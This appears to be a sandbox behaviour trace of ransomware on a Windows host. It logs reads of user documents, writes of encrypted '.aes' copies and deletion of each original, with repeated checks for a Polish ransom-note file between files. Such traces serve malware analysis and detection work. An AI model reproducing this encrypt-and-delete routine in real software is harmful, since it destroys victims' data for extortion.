File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp, size = 4096, size_out = 0 True 1
Fn
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp.aes, size = 1505 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp.aes, size = 33 True 1
Fn
Data
File Delete filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\7wlDZE9WQQHKod.odp True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\#$# JAK-ODZYSKAC-PLIKI.txt, type = file_attributes True 1
Fn
System Sleep duration = 20 milliseconds (0.020 seconds) True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\hvCemxS1iSlcK.doc, type = file_attributes True 1
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\hvCemxS1iSlcK.doc, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\hvCemxS1iSlcK.doc, type = file_type True 2
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\hvCemxS1iSlcK.doc.aes, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\hvCemxS1iSlcK.doc.aes, type = file_type True 2
Fn
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\hvCemxS1iSlcK.doc, size = 4096, size_out = 4096 True 2
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\hvCemxS1iSlcK.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\hvCemxS1iSlcK.doc, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\hvCemxS1iSlcK.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\hvCemxS1iSlcK.doc, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\hvCemxS1iSlcK.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\hvCemxS1iSlcK.doc, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\hvCemxS1iSlcK.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\hvCemxS1iSlcK.doc, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\hvCemxS1iSlcK.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\hvCemxS1iSlcK.doc, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\hvCemxS1iSlcK.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\hvCemxS1iSlcK.doc, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\hvCemxS1iSlcK.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\hvCemxS1iSlcK.doc, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\hvCemxS1iSlcK.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\hvCemxS1iSlcK.doc, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\hvCemxS1iSlcK.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\hvCemxS1iSlcK.doc, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\hvCemxS1iSlcK.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\hvCemxS1iSlcK.doc, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\hvCemxS1iSlcK.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\hvCemxS1iSlcK.doc, size = 4096, size_out = 359 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\hvCemxS1iSlcK.doc, size = 4096, size_out = 0 True 1
Fn
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\hvCemxS1iSlcK.doc.aes, size = 641 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\hvCemxS1iSlcK.doc.aes, size = 33 True 1
Fn
Data
File Delete filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\hvCemxS1iSlcK.doc True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\#$# JAK-ODZYSKAC-PLIKI.txt, type = file_attributes True 1
Fn
System Sleep duration = 20 milliseconds (0.020 seconds) True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\pA730znoL5.rtf, type = file_attributes True 1
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\pA730znoL5.rtf, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\pA730znoL5.rtf, type = file_type True 2
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\pA730znoL5.rtf.aes, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\pA730znoL5.rtf.aes, type = file_type True 2
Fn
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\pA730znoL5.rtf, size = 4096, size_out = 4096 True 2
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\pA730znoL5.rtf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\pA730znoL5.rtf, size = 4096, size_out = 2744 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\pA730znoL5.rtf, size = 4096, size_out = 0 True 1
Fn
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\pA730znoL5.rtf.aes, size = 3025 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\pA730znoL5.rtf.aes, size = 33 True 1
Fn
Data
File Delete filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\pA730znoL5.rtf True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\#$# JAK-ODZYSKAC-PLIKI.txt, type = file_attributes True 1
Fn
System Sleep duration = 20 milliseconds (0.020 seconds) True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods, type = file_attributes True 1
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods, type = file_type True 2
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods.aes, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods.aes, type = file_type True 2
Fn
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods, size = 4096, size_out = 4096 True 2
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods, size = 4096, size_out = 1558 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods, size = 4096, size_out = 0 True 1
Fn
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods.aes, size = 1841 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods.aes, size = 33 True 1
Fn
Data
File Delete filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\_X864G9NgHeHTp16YW.ods True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\HKRkjnzp\#$# JAK-ODZYSKAC-PLIKI.txt, type = file_attributes True 1
Fn
System Sleep duration = 20 milliseconds (0.020 seconds) True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv, type = file_attributes True 1
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv, type = file_type True 2
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv.aes, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv.aes, type = file_type True 2
Fn
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv, size = 4096, size_out = 4096 True 2
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv, size = 4096, size_out = 2315 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv, size = 4096, size_out = 0 True 1
Fn
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv.aes, size = 2593 True 1
Fn
Data
